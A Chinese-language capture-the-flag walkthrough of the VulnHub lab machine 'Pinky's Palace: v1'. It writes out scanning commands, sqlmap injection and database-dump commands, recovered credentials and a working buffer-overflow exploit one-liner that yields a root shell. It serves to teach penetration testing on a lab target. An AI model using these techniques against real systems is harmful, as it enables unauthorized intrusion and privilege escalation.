VulnHub-Pinky’s Palace: v1-靶机渗透测试
字数 1742 2025-08-15 21:33:21
Pinky’s Palace: v1 靶机渗透测试教学文档
靶机概述
- 难度等级: 中级(CTF)
- 发布日期: 2018年3月6日
- 测试环境: VirtualBox,仅DHCP主机和桥接适配器类型
- 目标: 获取root权限并找到flag.txt
- 作者: DXR
信息收集阶段
1. 网络扫描
使用nmap进行初始扫描:
nmap -sP 192.168.56.0/24 # 发现靶机IP
nmap -sV 192.168.56.11 # 扫描开放端口和服务
扫描结果:
- 8080端口: http nginx 1.10.3
- 31337端口: http-proxy squid 3.5.23
- 64666端口: openssh 7.4
2. 代理配置发现
直接访问8080端口返回403错误,需要通过31337端口的代理访问:
curl -x http://192.168.56.11:31337 http://127.0.0.1:8080
原理说明: 通过代理传递HTTP请求时,127.0.0.1指向代理服务器的地址(192.168.56.11)
Web应用枚举
1. 目录爆破
使用gobuster进行目录枚举:
gobuster dir -p http://192.168.56.11:31337 \
-u http://127.0.0.1:8080 \
-t 30 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-s 200,301,302
参数说明:
dir: 目录爆破模式-p: 代理配置-u: 目标URL-t: 线程数-w: 字典文件-s: 只显示指定状态码的响应
发现关键目录: /littlesecrets-main,显示账号或密码错误
SQL注入利用
1. BurpSuite配置
- 在User Options模块设置代理
- 在Proxy模块设置浏览器代理为127.0.0.1:8080
- 抓取/littlesecrets-main的请求包
2. SQLMap测试
sqlmap --proxy="http://192.168.56.11:31337" -r sqlmap.txt --level 3 --batch
发现: HTTP消息头User-Agent参数存在基于时间的盲注
3. 数据库数据提取
sqlmap --proxy="http://192.168.56.11:31337" -r sqlmap.txt --level 3 --batch \
-D pinky_sec_db -T users -C user,pass --dump
获取凭证:
pinkymanage:3pinkysaf33pinkysaf3(MD5解密后)pinky:f543dbfeaf238729831a321c7a68bee4(未破解成功)
系统访问
1. SSH登录
使用获取的凭证登录SSH:
ssh -p 64666 pinkymanage@192.168.56.11
密码: 3pinkysaf33pinkysaf3
2. 寻找pinky用户凭证
在/var/www/html/littlesecrets-main/ultrasecretadminf1l35目录发现RSA密钥提示
处理步骤:
- 将密钥写入Kali本地文件
- 修改权限为600:
chmod 600 pinky_key - 发现格式错误,进行base64解码
- 将解码数据写入新文件并再次设置权限
3. 使用密钥登录pinky用户
ssh -p 64666 -i pinky_key pinky@192.168.56.11
权限提升
1. 发现特权程序
在pinky用户家目录发现adminhelper程序:
- 具有SUID权限
- 属主为root
2. GDB调试分析
gdb ./adminhelper
关键发现:
- 使用
info functions命令发现strcpy函数和spawn函数 strcpy存在缓冲区溢出漏洞spawn函数可以生成交互式shell
3. 漏洞利用开发
步骤:
- 确定溢出点:测试发现72个字符后溢出
- 获取
spawn函数地址:0x00005555555547d0 - 构造payload:
- 72个填充字符('a')
spawn函数地址(小端格式):\xd0\x47\x55\x55\x55\x55- 注意去掉前两位00(\x00会终止程序)
4. 执行漏洞利用
./adminhelper $(python -c "print 'a' * 72 + '\xd0\x47\x55\x55\x55\x55'")
结果: 成功调用spawn函数,获得root权限的shell
总结与知识要点
- 代理配置: 理解如何通过代理访问受限资源
- 目录枚举: 掌握gobuster等工具的使用和参数配置
- SQL注入:
- 识别基于时间的盲注
- 使用sqlmap提取数据库数据
- 处理加密凭证(MD5解密)
- SSH访问:
- 使用密码和密钥认证
- 处理格式错误的SSH密钥
- 权限提升:
- 识别SUID程序
- GDB调试技术:
info functions查看函数disas反汇编- 断点设置
- 缓冲区溢出利用:
- 确定溢出点
- 构造payload覆盖返回地址
- 处理地址中的坏字符(\x00)
工具清单
- 信息收集:
- nmap
- Web枚举:
- gobuster
- 代理工具:
- BurpSuite
- SQL注入:
- sqlmap
- 调试分析:
- GDB
- 加密解密:
- base64
- MD5破解工具
通过本靶机的完整渗透过程,可以系统性地学习从信息收集到权限提升的完整渗透测试流程,特别是缓冲区溢出漏洞的利用方法。